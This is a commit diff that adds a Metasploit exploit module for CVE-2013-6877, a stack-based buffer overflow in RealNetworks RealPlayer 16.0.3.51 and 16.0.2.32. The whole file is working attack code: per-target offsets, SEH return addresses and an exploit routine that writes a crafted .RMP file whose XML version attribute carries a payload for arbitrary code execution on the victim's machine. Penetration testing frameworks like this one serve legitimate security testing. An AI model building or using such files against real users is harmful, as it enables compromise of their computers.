Land rapid7#2790 - RealNetworks RealPlayer Version Attribute Buffer Overflow

Author: wchen-r7

modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb

@@ -0,0 +1,90 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'RealNetworks RealPlayer Version Attribute Buffer Overflow',
+      'Description'    => %q{
+        This module exploits a stack-based buffer overflow vulnerability in
+        version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused by
+        improper bounds checking of the version and encoding attributes inside
+        the XML declaration.
+
+        By persuading the victim to open a specially-crafted .RMP file, a
+        remote attacker could execute arbitrary code on the system or cause
+        the application to crash.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Gabor Seljan' # Vulnerability discovery and Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'CVE', '2013-6877' ],
+          [ 'URL', 'http://service.real.com/realplayer/security/12202013_player/en/' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'ExitFunction' => 'seh'
+        },
+      'Platform'       => 'win',
+      'Payload'        =>
+        {
+          'BadChars'  => "\x00\x22",
+          'Space'     => 532,
+        },
+      'Targets'       =>
+        [
+          [ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.3.51',
+            {
+              'OffsetClick' => 2540,       # Open via double click
+              'OffsetMenu'  => 13600,      # Open via File -> Open
+              'Ret'         => 0x641930C8  # POP POP RET from rpap3260.dll
+            }
+          ],
+          [ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.2.32',
+            {
+              'OffsetClick' => 2540,       # Open via double click
+              'OffsetMenu'  => 13600,      # Open via File -> Open
+              'Ret'         => 0x63A630B8  # POP POP RET from rpap3260.dll
+            }
+          ]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Dec 20 2013',
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('FILENAME', [ false, 'The file name.', 'msf.rmp'])
+        ],
+      self.class)
+
+  end
+
+  def exploit
+
+    sploit =  rand_text_alpha_upper(target['OffsetClick'])
+    sploit << generate_seh_payload(target.ret)
+    sploit << rand_text_alpha_upper(target['OffsetMenu'] - sploit.length)
+    sploit << generate_seh_payload(target.ret)
+    sploit << rand_text_alpha_upper(17000) # Generate exception
+
+    # Create the file
+    print_status("Creating '#{datastore['FILENAME']}' file ...")
+    file_create("<?xml version=\"" + sploit + "\"?>")
+
+  end
+end
+